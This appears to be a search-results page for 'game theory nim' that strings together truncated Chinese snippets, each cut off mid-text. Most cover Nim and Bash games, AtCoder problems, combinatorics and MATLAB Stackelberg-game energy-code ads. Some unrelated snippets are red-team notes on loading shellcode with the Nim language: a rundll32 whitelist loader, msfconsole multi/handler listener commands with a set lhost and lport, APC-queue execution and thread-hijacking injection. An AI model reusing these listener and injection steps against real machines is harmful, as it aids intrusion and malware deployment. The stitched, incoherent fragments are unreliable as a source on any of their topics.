博弈论nim

MATLAB代码：基于元模型优化的虚拟电厂主从博弈优化调度模型关键词：元模型 虚拟电厂 主从博弈 优化调度参考文档：《基于元模型优化算法的主从博弈多虚拟电厂动态定价和能量管理》复现元模型仿真平台：MATLAB+CPLEX平台主要内容：代码主要做的是虚拟电厂的优化调度策略，其实是多虚拟电厂/微网的优化 ......

[D - Fennec VS. Snuke](https://atcoder.jp/contests/abc067/tasks/arc078_b) ``` // https://atcoder.jp/contests/abc067/tasks/arc078_b // // 关键点: 双方的最优策略一 ......

# 博弈论入门 * 必败情况为P，必胜情况为N，我们要得出N一定有方法能转换到P，P任意操作都会到N ## 1.巴什博弈 * 两个顶尖聪明的人在玩游戏，有一堆n个石子，每次每个人能取$[1,m]$个石子，不能拿的人输，请问先手与后手谁必败？ * 1~m个石子，先手必胜 * 反推m+1个石子只能到1~ ......

在许多地方曾经行过这样一个小游戏，摆出三堆硬币。分别包含3枚、5枚、7枚。两人轮流行动每次可以任选一堆，从中取走任意多枚硬币，可把一堆取完，但不能不取。取走最后一枚硬币者获得胜利。 这类游戏可以推广为更加一般的形式: > 给定 $n$ 堆物品，第 $i$ 堆物品有 $A_i$ 个。两名玩家轮流行动， ......

## 【模板】nim 游戏 ### 题目描述 甲，乙两个人玩 nim 取石子游戏。 nim 游戏的规则是这样的：地上有 $n$ 堆石子（每堆石子数量小于 $10^4$），每人每次可从任意一堆石子里取出任意多枚石子扔掉，可以取完，不能不取。每次只能从一堆里取。最后没石子可取的人就输了。假如甲是先手，且 ......

### 概述 定义基本规则： - 两个玩家轮流移动同一颗棋子。 - 每次移动沿一条出边将棋子移到下一个点。 - 当前玩家走不了（没有出边）时输。 - 图可能有环，游戏无法结束时为平局。 出现平局的根本原因是决策会绕起来成环。我们先来解决如何判断一个点的胜负状态。 首先，如果图是 $\text{DAG ......

[D - Alice&Brown](https://atcoder.jp/contests/abc059/tasks/arc072_b) #### 如何打表 要善于通过打表展示视觉信息, 从而找到规律; ``` #include #include using namespace std; typed ......

https://atcoder.jp/contests/abc048/tasks/arc064_b - 有意识地想办法简化问题, 缩小问题规模 - 尝试打表找规律 ``` // https://atcoder.jp/contests/abc048/tasks/arc064_b // 考虑当出现不能操 ......

# 白名单 rundll32 加载 shellcode 上线 metasploit 监听 metasploit ``` msfconsole -x "use exploits/multi/handler; set lhost 192.168.0.101; set lport 443; set pay ......

Alice 和 Bob 正在一个序列 ai​ 上玩游戏，Alice 先手，轮流玩。每一轮当前玩家可以取走序列中任意一个数，直到取完。 如果最后 Ailce 取走的数的和为偶数，则 Ailce 赢，否则 Bob 赢。保证每个人用最优策略玩。对于每组数据，输出赢家。 输入输出样例 输入 #1复制 4 3 ......

# nim 内联汇编加载 shellcode ## GCC 汇编语法 Linux上的 GNU C 编译器 GCC ，使用 AT&T / UNIX 汇编语法，AT&T 语法和 Intel 语法的差别很大。现在我们看到了 Intel 语法和 AT&T 语法之间的一些主要差别。我仅仅写了它们差别的一部分而 ......

# Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert ## APC队列 异步过程调用（APC）队列是一个与线程关联的队列，用于存储要在该线程上下文中异步执行的函数。操作系统内核会跟踪每个线程的 APC 队 ......

# Injecting to Remote Process via Thread Hijacking ## metasploit 监听 metasplit ``` msfconsole -x "use exploits/multi/handler; set lhost 192.168.0.101; ......

# 博弈练习 理论后面再补吧 ## [省选联考 2023] 过河卒 我们将其局面抽象为一张图,然后不难发现没有环的情况我们直接$dfs$就可以了 如果有环的话,其对应的应该就是$Tie$的情况,具体的就是如果我们在访问$x$的祖先时$x$就可以达成死循环的局面,但这个不好维护 反过来考虑,我们直接对 ......

# 博弈论入门 ## 前言： 本篇按照 Qingyu 在省集讲的加入我这个萌新的萌新理解而成。 听了 Qingyu 的博弈论讲解，感觉我之前学过的博弈就是冰山一角。 由于有一些东西没听懂，就主要写写我听懂的部分，没懂得以后再说吧。 所以这篇只是一个入门，关于博弈的一些习题可能会咕咕咕。 ## 平等博 ......

### 闲话 这其实是个大作业来着……然而早上八点才开始写，中间还上了好几个小时的课（虽然全都没有听）（大嘘）。所幸最终还是从理论到代码从头写完了，DDL 刚过几分钟……认真完成作业对我来说实属不易，于是顺便贴到博客上来以供来者。下面是实验报告的内容。 ### 实验原理 #### 纯策略求解 直接枚 ......

薪资谈判本质上是一种博弈，无论是表面谈得好还是实质上谈得好，都需要掌握一些策略 面试薪资怎么谈，您目前的薪资是20k，如果您想要提高到28k，那么请花两分钟看完以下内容。薪资谈判本质上是一种博弈，无论是表面谈得好还是实质上谈得好，都需要掌握一些策略。如果您不想在面试后被压价，那么下面这四点薪资谈判策 ......

博弈论在 OI 中主要研究组合博弈，可能也会与其它的知识点相结合。做博弈论题时，我们要利用已有的博弈结论，或是建出模型解决问题。 # 组合博弈 组合博弈一般分为两种： - 平等博弈：可允许的操作只和当前局面的状态而和操作的玩家无关。 - 不平等博弈：可允许的操作还和当前操作的玩家相关。 比如说围棋， ......

教练让我学三周数论，然而数论多少还是无聊了点，所以浅学一下博弈论划划水。 （只是简单学了一下，不会记特别多。） ###**巴什博弈：** 有两个聪明人玩游戏，有n个石子，两人轮流从这堆石子里取出一部分，每人一次可以取[1,m]个石子，最后不能拿的人输。两人都会选择最优策略的情况下，问：先手和后手谁赢 ......

nim 创建 dll 编译命令 nim c --app:lib --nomain:on test.nim “--app:lib”表示生成动态链接库（dll）。 “--nomain:on”表示不生成 dllmain 函数。 源代码 test() 是我们自定义的导出函数。 import winim/le ......

基础概念 相关参考资料：易老师整理（放个大佬的链接） Nim Game 题目：有n堆石子，数量分别为$a_1,a_2,...,a_n$，两个玩家均足够聪明，轮流拿石子，每次仅可以从任意一堆中拿走任意数量的石子。 结论：当$a_1⊕a_2⊕...⊕a_n≠0$时，先手必胜；否则先手必败。 而且，令$a ......

洛谷传送门 AtCoder 传送门 It's all MAGIC 这种题目一般先考虑局面要满足什么条件能必胜，然后根据这个性质来计数。 如果把黑板上的数写成一个集合 $S$，那么： $\varnothing$ 为必胜态，${1}, {2}$ 显然为必败态，打表发现其他单元素集合都为必胜态； 如果 $ ......

基于主从博弈的共享储能与综合能源微网优化运行研究综合能源微网与共享储能的结合具有一定的创新性，在共享储能的背景下考虑微网运营商与用户聚合商之间的博弈关系，微网的收益和用户的收益之间达到均衡。采用主从博弈的方法，微网运营商作为上层领导者制定价格策略，用户聚合商作为下层跟随者改变用能行为，共享储能商作为 ......

matlab程序设计，承接研究范围：综合能源系统优化调度，主从博弈，综合需求响应，碳交易机制，阶梯型碳交易机制，多时间尺度优化。ID:41100678701976813 ......

MATLAB代码：基于主从博弈的电热综合能源系统动态定价与能量管理关键词：主从博弈 电热综合能源 动态定价 能量管理 参考文档：店主自编文档，完全复现仿真平台：MATLAB 平台优势：代码具有一定的深度和创新性，注释清晰，非烂大街的代码，非常精品！主要内容：代码主要做的是电热综合能源系统的动态定价问 ......

MATLAB代码：基于主从博弈理论的共享储能与综合能源微网优化运行研究关键词：主从博弈 共享储能 综合能源微网 优化调度 参考文档：《基于主从博弈理论的共享储能与综合能源微网优化运行研究》完全复现仿真平台：MATLAB yalmip+cplex主要内容：代码主要做的是基于主从博弈理论的共享储能与综合 ......

MATLAB程序：基于主从博弈理论的共享储能与综合能源微网优化运行研究。提出共享储能背景下微网运营商与用户聚合商间的主从博弈模型，并证明Stackelberg 均衡解的存在性与唯一性。最后，在 MATLAB平台上进行算例仿真，通过 Yalmip 工具与 CPLEX 求解器进行建模与求解，利用启发式算 ......

MATLAB代码：基于主从博弈的电热综合能源系统动态定价与能量管理关键词：主从博弈 电热综合能源 动态定价 能量管理 仿真平台：MATLAB 平台优势：代码具有一定的深度和创新性，注释清晰，非烂大街的代码，非常精品！主要内容：代码主要做的是电热综合能源系统的动态定价问题，采用是主从博弈方法，上领导者 ......

原题链接：https://vjudge.net/contest/555710#problem/J 手工翻译： Alice和Bob在玩一个游戏有这样一个数列a1,a2,a3,a4……an长度为n，他们轮流移走一个整数当数列中没有可移走的整数时游戏结束，Alice移走的数的和是S1，Bob移走的数的和是 ......

容斥原理 设 S~1~ , S~2~ , $\ldots$ , S~n~ 为有限集合, |S| 表示集合S的大小, 则: |$\bigcup\limits_{i=1}^n\ S_i$| = $\sum\limits_{i=1}^n\ | S_i |$ - $\sum\limits_{1 \leqsl ......